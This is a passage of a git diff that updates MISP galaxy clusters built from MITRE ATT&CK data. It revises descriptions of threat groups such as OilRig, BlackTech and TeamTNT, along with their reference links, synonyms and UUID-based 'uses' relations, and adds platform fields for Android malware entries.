- "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", - "tags": [ - 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{ - "dest-uuid": "3ee16395-03f0-4690-a32e-69ce9ada0f9e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ @@ -24157,13 +22436,6 @@ ], "type": "uses" }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "tags": [ @@ -24220,27 +22492,6 @@ ], "type": "uses" }, - { - "dest-uuid": "60c4b628-4807-4b0b-bbf5-fdac8643c337", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "65013dd2-bc61-43e3-afb5-a14c4fa7437a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ @@ -24255,27 +22506,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6e561441-8431-4773-a9b8-ccf28ef6a968", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "76551c52-b111-4884-bc47-ff3e728f0156", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -24311,13 +22541,6 @@ ], "type": "uses" }, - { - "dest-uuid": "88d31120-5bc7-4ce3-a9c0-7cf147be8e54", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "8bdfe255-e658-4ddd-a11c-b854762e451d", "tags": [ @@ -24325,20 +22548,6 @@ ], "type": "uses" }, - { - "dest-uuid": "8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", "tags": [ @@ -24346,13 +22555,6 @@ ], "type": "uses" }, - { - "dest-uuid": "937e4772-8441-4e4a-8bf0-8d447d667e23", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ @@ -24374,13 +22576,6 @@ ], "type": "uses" }, - { - "dest-uuid": "9e7452df-5144-4b6e-b04a-b66dd4016747", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ @@ -24388,13 +22583,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", "tags": [ @@ -24416,20 +22604,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b1ccd744-3f78-4a0e-9bb2-2002057f7928", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "tags": [ @@ -24437,27 +22611,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b9799466-9dd7-4098-b2d6-f999ce50b9a8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bbe5b322-e2af-4a5e-9625-a4e62bf84ed3", "tags": [ @@ -24465,27 +22618,6 @@ ], "type": "uses" }, - { - "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c9703cd3-141c-43a0-a926-380082be5d04", "tags": [ @@ -24493,20 +22625,6 @@ ], "type": "uses" }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "tags": [ @@ -24521,13 +22639,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -24535,13 +22646,6 @@ ], "type": "uses" }, - { - "dest-uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ @@ -24549,13 +22653,6 @@ ], "type": "uses" }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ @@ -24591,27 +22688,6 @@ ], "type": "uses" }, - { - "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f4b843c1-7e92-4701-8fed-ce82f8be2636", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", "tags": [ @@ -24631,7 +22707,7 @@ "value": "Kimsuky - G0094" }, { - "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)", "meta": { "external_id": "G0049", "refs": [ @@ -27175,29 +25251,18 @@ "value": "DarkHydrus - G0079" }, { - "description": "[BlackTech](https://attack.mitre.org/groups/G0098) is a suspected Chinese cyber espionage group that has primarily targeted organizations in East Asia--particularly Taiwan, Japan, and Hong Kong--and the US since at least 2013. [BlackTech](https://attack.mitre.org/groups/G0098) has used a combination of custom malware, dual-use tools, and living off the land tactics to compromise media, construction, engineering, electronics, and financial company networks.(Citation: TrendMicro BlackTech June 2017)(Citation: Symantec Palmerworm Sep 2020)(Citation: Reuters Taiwan BlackTech August 2020)", + "description": "[BlackTech](https://attack.mitre.org/groups/G0098) is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong.(Citation: TrendMicro BlackTech June 2017)", "meta": { "external_id": "G0098", "refs": [ "https://attack.mitre.org/groups/G0098", - "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt", - "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", - "https://www.reuters.com/article/us-taiwan-cyber-china/taiwan-says-china-behind-cyberattacks-on-government-agencies-emails-idUSKCN25F0JK" + "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/" ], "synonyms": [ - "BlackTech", - "Palmerworm" + "BlackTech" ] }, "related": [ - { - "dest-uuid": "19401639-28d0-4c3c-adcc-bc2ba22f6421", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ @@ -27212,13 +25277,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ @@ -27226,13 +25284,6 @@ ], "type": "uses" }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ @@ -27240,13 +25291,6 @@ ], "type": "uses" }, - { - "dest-uuid": "592260fb-dd5c-4a30-8d99-106a0485be0d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "76ac7989-c5cc-42e2-93e3-d6c476f01ace", "tags": [ @@ -27261,13 +25305,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b2d134a1-7bd5-4293-94d4-8fc978cb1cd7", "tags": [ @@ -27289,13 +25326,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ @@ -27303,13 +25333,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e7cbc1de-1f79-48ee-abfd-da1241c65a15", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", "tags": [ @@ -27323,13 +25346,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "6fe8a2a1-a1b0-4af8-953d-4babd329f8f8", @@ -27345,12 +25361,6 @@ "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/" - ], - "synonyms": [ - "UNC2452", - "NOBELIUM", - "StellarParticle", - "Dark Halo" ] }, "related": [ @@ -28256,6 +26266,20 @@ ], "type": "uses" }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -28271,7 +26295,14 @@ "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8197f026-64da-4700-93b9-b55ba55f3b31", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28299,7 +26330,7 @@ "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28319,20 +26350,6 @@ ], "type": "uses" }, - { - "dest-uuid": "bb4387ab-7a51-468b-bf5f-a9a8612f0303", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ @@ -28340,6 +26357,13 @@ ], "type": "uses" }, + { + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "cf28ca46-1fd3-46b4-b1f6-ec0b72361848", "tags": [ @@ -28368,6 +26392,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -28382,13 +26413,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -28411,14 +26435,21 @@ "type": "uses" }, { - "dest-uuid": "e422b6fa-4739-46b9-992e-82f1b350c780", + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28437,13 +26468,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "afec6dc3-a18e-4b62-b1a4-5510e1a498d1", @@ -28922,22 +26946,6 @@ "uuid": "8c1f0187-0826-4320-bddc-5f326cfcfe2c", "value": "Chimera - G0114" }, - { - "description": "[Gelsemium](https://attack.mitre.org/groups/G0141) is a cyberespionage group that has been active since at least 2014, targeting governmental institutions, electronics manufacturers, universities, and religious organizations in East Asia and the Middle East.(Citation: ESET Gelsemium June 2021)", - "meta": { - "external_id": "G0141", - "refs": [ - "https://attack.mitre.org/groups/G0141", - "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf" - ], - "synonyms": [ - "Gelsemium" - ] - }, - "related": [], - "uuid": "99910207-1741-4da1-9b5d-537410186b51", - "value": "Gelsemium - G0141" - }, { "description": "[CostaRicto](https://attack.mitre.org/groups/G0132) is a suspected hacker-for-hire cyber espionage campaign that has targeted multiple industries worldwide since at least 2019. [CostaRicto](https://attack.mitre.org/groups/G0132)'s targets, a large portion of which are financial institutions, are scattered across Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia.(Citation: BlackBerry CostaRicto November 2020)", "meta": { @@ -29032,165 +27040,6 @@ "uuid": "bb82e0b0-6e9c-439f-970a-4c917a74c5f2", "value": "CostaRicto - G0132" }, - { - "description": "[Confucius](https://attack.mitre.org/groups/G0142) is a cyber espionage group that has primarily targeted military personnel, high-profile personalities, business persons, and government organizations in South Asia since at least 2013. Security researchers have noted similarities between [Confucius](https://attack.mitre.org/groups/G0142) and [Patchwork](https://attack.mitre.org/groups/G0040), particularly in their respective custom malware code and targets.(Citation: TrendMicro Confucius APT Feb 2018)(Citation: TrendMicro Confucius APT Aug 2021)(Citation: Uptycs Confucius APT Jan 2021)", - "meta": { - "external_id": "G0142", - "refs": [ - " https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat", - "https://attack.mitre.org/groups/G0142", - "https://www.trendmicro.com/en_us/research/18/b/deciphering-confucius-cyberespionage-operations.html", - "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html" - ], - "synonyms": [ - "Confucius APT" - ] - }, - "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "88d31120-5bc7-4ce3-a9c0-7cf147be8e54", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fde19a18-e502-467f-be14-58c71b4e7f4b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "6eded342-33e5-4451-b6b2-e1c62863129f", - "value": "Confucius - G0142" - }, { "description": "The [Windigo](https://attack.mitre.org/groups/G0124) group has been operating since at least 2011, compromising thousands of Linux and Unix servers using the [Ebury](https://attack.mitre.org/software/S0377) SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, [Windigo](https://attack.mitre.org/groups/G0124) operators continued updating [Ebury](https://attack.mitre.org/software/S0377) through 2019.(Citation: ESET Windigo Mar 2014)(Citation: CERN Windigo June 2019)", "meta": { @@ -29308,13 +27157,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "56f46b17-8cfa-46c0-b501-dd52fef394e2", "tags": [ @@ -29399,6 +27241,13 @@ ], "type": "uses" }, + { + "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", "tags": [ @@ -30236,7 +28085,7 @@ "value": "Andariel - G0138" }, { - "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments.(Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)", + "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments. (Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)", "meta": { "external_id": "G0139", "refs": [ @@ -30431,13 +28280,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79dd477a-8226-4b3d-ad15-28623675f221", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7b50a1d3-4ca7-45d1-989d-a6503f04bfe1", "tags": [ @@ -30597,5 +28439,5 @@ "value": "TeamTNT - G0139" } ], - "version": 27 + "version": 28 } diff --git a/clusters/mitre-malware.json b/clusters/mitre-malware.json index 69d7ed77..22376a75 100644 --- a/clusters/mitre-malware.json +++ b/clusters/mitre-malware.json @@ -51,9 +51,15 @@ "description": "[X-Agent for Android](https://attack.mitre.org/software/S0314) is Android malware that was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data on where the victim device was used, and therefore could likely indicate the potential location of Ukrainian artillery. (Citation: CrowdStrike-Android) Is it tracked separately from the [CHOPSTICK](https://attack.mitre.org/software/S0023).", "meta": { "external_id": "S0314", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0314", "https://www.crowdstrike.com/wp-content/brochures/FancyBearTracksUkrainianArtillery.pdf" + ], + "synonyms": [ + "X-Agent for Android" ] }, "related": [ @@ -84,6 +90,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "56660521-6db4-4e5a-a927-464f22954b7c", @@ -113,21 +126,28 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -140,6 +160,20 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "948a447c-d783-4ba0-8516-a64140fcacd5", "tags": [ @@ -148,14 +182,7 @@ "type": "uses" }, { - "dest-uuid": "986f80f7-ff0e-4f48-87bd-0394814bbce5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -169,7 +196,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -183,7 +210,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -390,7 +417,21 @@ }, "related": [ { - "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ 